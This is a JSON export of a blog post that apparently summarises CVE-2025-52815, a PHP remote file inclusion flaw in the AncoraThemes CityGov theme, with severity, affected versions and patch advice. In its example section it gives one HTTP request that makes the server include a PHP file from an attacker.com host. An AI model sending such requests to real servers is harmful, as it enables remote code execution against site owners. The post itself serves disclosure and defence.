{"id":57862,"date":"2025-07-06T14:41:03","date_gmt":"2025-07-06T14:41:03","guid":{"rendered":""},"modified":"2025-09-10T11:37:51","modified_gmt":"2025-09-10T17:37:51","slug":"cve-2025-52815-php-remote-file-inclusion-vulnerability-in-ancorathemes-citygov","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52815-php-remote-file-inclusion-vulnerability-in-ancorathemes-citygov\/","title":{"rendered":"<strong>CVE-2025-52815: PHP Remote File Inclusion Vulnerability in AncoraThemes CityGov<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has recently released a vulnerability report CVE-2025-52815, which underscores a significant potential security issue in AncoraThemes CityGov. This vulnerability pertains to an &#8216;Improper Control of Filename for Include\/Require Statement in PHP Program&#8217; or more commonly known as &#8216;PHP Remote File Inclusion&#8217;. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2015-0843-critical-buffer-overflow-vulnerability-in-yubiserver-before-version-0-6\/\"  data-wpil-monitor-id=\"65152\">vulnerability affects the versions<\/a> of CityGov from n\/a through 1.9. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4383-critical-authentication-vulnerability-in-wi-fi-cloud-hotspot\/\"  data-wpil-monitor-id=\"64353\">vulnerability is critical<\/a> because it can lead to a potential system compromise or data leakage, making it a significant concern for the cybersecurity community.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52815<br \/>\nSeverity: High (8.1 CVSS Severity Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64815\">Potential system compromise and data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1627421821\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AncoraThemes CityGov | n\/a through 1.9<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32977-unauthenticated-backup-file-upload-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64420\">File Inclusion vulnerability<\/a> in AncoraThemes CityGov works by leveraging the improper control of filename for include\/require statement in PHP Program. This allows an attacker to inject malicious PHP scripts or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64479\">files to be included and executed<\/a> by the server. The vulnerability allows for Local File Inclusion (LFI), which permits attackers to include local files from the server, potentially exposing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6560-sapido-wireless-routers-exposure-of-sensitive-information-vulnerability\/\"  data-wpil-monitor-id=\"64462\">sensitive information<\/a> or executing malicious code.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-303279296\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80734\">injected with a malicious<\/a> payload.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker tricks the server into including and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55345-arbitrary-file-overwrite-and-remote-code-execution-vulnerability-in-codex-cli\/\"  data-wpil-monitor-id=\"76790\">executing the malicious.php file<\/a> from their server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Given the high <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32281-high-severity-missing-authorization-vulnerability-in-focuxtheme-wpkit-for-elementor\/\"  data-wpil-monitor-id=\"65301\">severity of this vulnerability<\/a>, it&#8217;s paramount to apply the vendor-released patch immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These systems can be configured to block or alert on <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81235\">attempts to exploit this vulnerability<\/a> until the official patch can be applied. However, this is a stop-gap solution, and appropriate patches should be applied as soon as possible to fully mitigate the risk.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has recently released a vulnerability report CVE-2025-52815, which underscores a significant potential security issue in AncoraThemes CityGov. This vulnerability pertains to an &#8216;Improper Control of Filename for Include\/Require Statement in PHP Program&#8217; or more commonly known as &#8216;PHP Remote File Inclusion&#8217;. The vulnerability affects the versions of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-57862","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57862","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=57862"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57862\/revisions"}],"predecessor-version":[{"id":73686,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57862\/revisions\/73686"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=57862"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=57862"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=57862"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=57862"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=57862"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=57862"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=57862"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=57862"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=57862"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}